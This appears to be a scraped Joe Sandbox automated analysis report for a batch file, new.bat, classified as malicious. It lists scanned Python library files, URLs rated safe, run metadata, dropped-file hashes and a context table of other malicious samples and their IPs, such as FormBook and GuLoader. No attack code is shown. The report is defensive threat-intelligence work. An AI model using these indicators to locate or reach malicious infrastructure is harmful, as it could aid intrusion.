C:\Users\user\Downloads\Python\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\codecs.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	URL Reputation	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	URL Reputation	safe
https://docs.python.org/3/glossary.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/c-api/memoryview.rst	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=5237	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33720	0%	Avira URL Cloud	safe
http://freshmeat.net/releases/52719/'	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0508/#environment-markers	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7418	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/c-api/utilities.rst	0%	Avira URL Cloud	safe
https://www.barebones.com/products/bbedit/index.html	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0528/	0%	Avira URL Cloud	safe
http://www.iana.org/time-zones/repository/tz-link.html	0%	URL Reputation	safe
https://macvim.org	0%	Avira URL Cloud	safe
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc4122.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4384	0%	Avira URL Cloud	safe
https://cython.org/	0%	Avira URL Cloud	safe
https://docs.python.org/3/faq/design.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Modules	0%	Avira URL Cloud	safe
https://docs.python.org/3/c-api/long.html	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/windows.html	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/howto/instrumentation.rst	0%	Avira URL Cloud	safe
https://wiki.python.org/moin/IntegratedDevelopmentEnvironments	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7301	0%	Avira URL Cloud	safe
https://docs.python.org/3/whatsnew/2.3.html	0%	Avira URL Cloud	safe
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html	0%	Avira URL Cloud	safe
https://docs.python.org/3/genindex-S.html	0%	Avira URL Cloud	safe
http://speleotrove.com/decimal/decarith.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1696199	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3155/	0%	Avira URL Cloud	safe
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	0%	Avira URL Cloud	safe
https://github.com/python/typing/issues/508	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=9840	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=9962	0%	Avira URL Cloud	safe
https://osl.cs.illinois.edu/media/papers/karmani-2009-barrier_synchronization_pattern.pdf	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=10827	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/winsound.rst	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0308/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0538/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/zipapp.py	0%	Avira URL Cloud	safe
https://github.com/python/cpython/issues/86361.	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/tokenize.html	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/whatsnew/3.2.rst	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4285	0%	Avira URL Cloud	safe
https://www.zlib....	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/tutorial/introduction.rst	0%	Avira URL Cloud	safe
https://pyinstaller.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8777	0%	Avira URL Cloud	safe
https://docs.python.org/2.2/lib/lib.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8413	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/Prod-C:	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/zipfile/	0%	Avira URL Cloud	safe
https://toga.readthedocs.io	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=9862	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/zlib.rst	0%	Avira URL Cloud	safe
https://github.com/MagicStack/uvloop/tree/v0.16.0	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6472	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1772833	0%	Avira URL Cloud	safe
https://datatracker.ietf.org/doc/html/rfc2104.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=9757	0%	Avira URL Cloud	safe
https://macromates.com	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=10889	0%	Avira URL Cloud	safe
https://discuss.python.org/c/core-dev/c-api/30	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/re.html#re.sub	0%	Avira URL Cloud	safe
https://pyyaml.org/	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/xml.sax.utils.html	0%	Avira URL Cloud	safe
https://docs.python.org/3/library/weakref.html	0%	Avira URL Cloud	safe
http://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397	0%	Avira URL Cloud	safe
https://github.com/python/cpython/tree/3.12/Lib/unittest/mock.py	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=8540	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/library/windows.rst	0%	Avira URL Cloud	safe
https://docs.python.org/3/c-api/typehints.html	0%	Avira URL Cloud	safe
http://svn.red-bean.com/bob/macholib/trunk/macholib/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0525/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6137	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/tutorial/classes.rst	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=5150	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0307/	0%	Avira URL Cloud	safe
https://www2.cs.arizona.edu/icon/docs/ipd266.htm	0%	Avira URL Cloud	safe
https://docs.python.org/3/howto/instrumentation.html	0%	Avira URL Cloud	safe
https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata	0%	Avira URL Cloud	safe
https://setuptools.pypa.io/en/latest/references/	0%	Avira URL Cloud	safe
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=4195	0%	Avira URL Cloud	safe
https://www.tcl.tk	0%	Avira URL Cloud	safe
https://pypi.org/project/zipp	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3151/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/main/Doc/tutorial/errors.rst	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=7461	0%	Avira URL Cloud	safe
http://www.oreillynet.com/meerkat/xml-rpc/server.php'	0%	Avira URL Cloud	safe
https://pypi.org/project/pyserial/	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ	0%	Avira URL Cloud	safe
https://idlefork.sourceforge.net	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3333/	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.python.org/issue?@action=redirect&bpo=5237	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/glossary.html	glossary.html.16.dr	false	Avira URL Cloud: safe	unknown
https://www.barebones.com/products/bbedit/index.html	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7418	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/utilities.rst	utilities.html.16.dr	false	Avira URL Cloud: safe	unknown
http://freshmeat.net/releases/52719/'	2.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/memoryview.rst	memoryview.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33720	intro.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0528/	init_config.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0508/#environment-markers	installation_report.py.16.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue6857.	_pydecimal.py.16.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc4122.html	uuid.html.16.dr	false	Avira URL Cloud: safe	unknown
https://macvim.org	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4384	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/long.html	long.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Modules	library.html.16.dr	false	Avira URL Cloud: safe	unknown
https://cython.org/	design.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/faq/design.html	design.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/windows.html	windows.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst	isolating-extensions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7301	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/howto/instrumentation.rst	instrumentation.html.16.dr	false	Avira URL Cloud: safe	unknown
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html	unix.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://wiki.python.org/moin/IntegratedDevelopmentEnvironments	editors.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-S.html	genindex-S.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/whatsnew/2.3.html	2.3.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=1696199	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
http://speleotrove.com/decimal/decarith.html	_pydecimal.py.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3155/	glossary.html.16.dr	false	Avira URL Cloud: safe	unknown
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	transports.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=9840	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=9962	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/typing/issues/508	dataclasses.py.16.dr	false	Avira URL Cloud: safe	unknown
https://osl.cs.illinois.edu/media/papers/karmani-2009-barrier_synchronization_pattern.pdf	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/winsound.rst	winsound.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=10827	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/zipapp.py	zipapp.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0526/	glossary.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0308/	expressions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0538/	init_config.html.16.dr, cmdline.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/tokenize.html	tokenize.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/issues/86361.	typing.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000007.00000002.2679153943.000001FB4B800000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	_pydatetime.py.16.dr	false	URL Reputation: safe	unknown
https://github.com/python/cpython/blob/main/Doc/whatsnew/3.2.rst	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0634/	typeobj.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4285	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/tutorial/introduction.rst	introduction.html0.16.dr	false	Avira URL Cloud: safe	unknown
https://www.zlib....	zlib.html.16.dr	false	Avira URL Cloud: safe	unknown
https://pyinstaller.org/	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8777	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/2.2/lib/lib.html	2.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8413	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	svchost.exe, 00000007.00000003.1471535168.000001FB4B6A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://toga.readthedocs.io	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/zipfile/	zipfile.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/zlib.rst	zlib.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/MagicStack/uvloop/tree/v0.16.0	sslproto.py.16.dr	false	Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	_pydatetime.py.16.dr	false	URL Reputation: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=9862	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6472	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=1772833	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc2104.html	2.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://macromates.com	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=9757	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://discuss.python.org/c/core-dev/c-api/30	stable.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=10889	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/xml.sax.utils.html	xml.sax.utils.html.16.dr	false	Avira URL Cloud: safe	unknown
https://pyyaml.org/	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/re.html#re.sub	core.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/weakref.html	weakref.html.16.dr	false	Avira URL Cloud: safe	unknown
http://lxr.mozilla.org/mozilla-release/source/netwerk/protocol/http/nsHttpResponseHead.cpp#397	heuristics.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/unittest/mock.py	unittest.mock.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=8540	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/windows.rst	windows.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/typehints.html	typehints.html.16.dr	false	Avira URL Cloud: safe	unknown
http://svn.red-bean.com/bob/macholib/trunk/macholib/	fetch_macholib.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=5150	3.1.html.16.dr, 3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/tutorial/classes.rst	classes.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6137	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0525/	glossary.html.16.dr, expressions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0307/	2.3.html.16.dr	false	Avira URL Cloud: safe	unknown
https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata	installation_report.py.16.dr	false	Avira URL Cloud: safe	unknown
https://www2.cs.arizona.edu/icon/docs/ipd266.htm	2.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/howto/instrumentation.html	instrumentation.html.16.dr	false	Avira URL Cloud: safe	unknown
https://freedesktop.org/wiki/Software/xdg-user-dirs/.z	unix.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	_pydatetime.py.16.dr	false	URL Reputation: safe	unknown
https://setuptools.pypa.io/en/latest/references/	__init__.py.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3151/	exceptions.html.16.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/zipp	zipfile.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=4195	3.1.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst	capsule.html.16.dr	false	Avira URL Cloud: safe	unknown
https://www.tcl.tk	mac.html.16.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=7461	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/tutorial/errors.rst	errors.html.16.dr	false	Avira URL Cloud: safe	unknown
http://www.oreillynet.com/meerkat/xml-rpc/server.php'	2.2.html.16.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching_FAQ	heuristics.cpython-312.pyc.16.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/pyserial/	library.html.16.dr	false	Avira URL Cloud: safe	unknown
https://idlefork.sourceforge.net	2.3.html.16.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3333/	3.2.html.16.dr	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500640
Start date and time:	2024-08-28 18:58:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new.bat
Detection:	MAL
Classification:	mal64.winBAT@25/1083@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
12:59:28	API Interceptor	2x Sleep call for process: svchost.exe modified
12:59:32	API Interceptor	78x Sleep call for process: powershell.exe modified
12:59:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
13:00:53	API Interceptor	1968x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	Update.js	Get hash	malicious	Unknown	Browse	38.180.141.42
	REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook, GuLoader	Browse	38.55.112.70
	factura-630.900.exe	Get hash	malicious	FormBook	Browse	154.23.184.240
	PAGO $630.900.exe	Get hash	malicious	FormBook	Browse	154.23.184.240
	IMG_00991ORDER_FILES.exe	Get hash	malicious	FormBook, GuLoader	Browse	38.47.207.120
	http://stream.crichd.vip/update/sscricket.php	Get hash	malicious	Unknown	Browse	154.6.190.250
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	154.23.184.207
	AIDHL3290435890.exe	Get hash	malicious	FormBook	Browse	154.23.184.240
	SALARY OF AUG 2024.exe	Get hash	malicious	FormBook	Browse	154.23.184.141
	https://57365oo.cc/	Get hash	malicious	Phisher	Browse	38.54.80.161

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49323967080842224
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaD:cJhXC9lHmutpJyiRDeJ/aUKrDgnmx
MD5:	394C2AC22A3190C2DEDC1CC7EB25A454
SHA1:	79DC2CBDC2363DC7FF4456BBD029229D545E7009
SHA-256:	27286D95D81C35A4AA9F6920F2B8986D4E37FC35C476E7DC36E23EE3BE11732C
SHA-512:	15BB1022D8D71F280A4F0E7E4094E07507571DFBF4FF052B99E511066DD211114D0519AE2D959EE0C245010E66CBDA285647CFDD21643616919A906C567679CA
Malicious:	false
Reputation:	low
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\67e7dd7e-3b0f-4708-9b6e-e23cb710d9f2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8108

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Windows Analysis Report
new.bat

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.247241011111807
Encrypted:	false
SSDEEP:	6:NHJhzDAq2PqLTwi2nKuAl9OmbnIFUt88HJhXZmw+8HJhFkwOqLTwi2nKuAl9Omb5:NHv4v8wZHAahFUt88HvX/+8HvF5TwZHi
MD5:	70444C3EC03959F37D66F2ECC0D8ED30
SHA1:	A135CDED5BE13E9E3A29B1994EEB479A395F0ED2
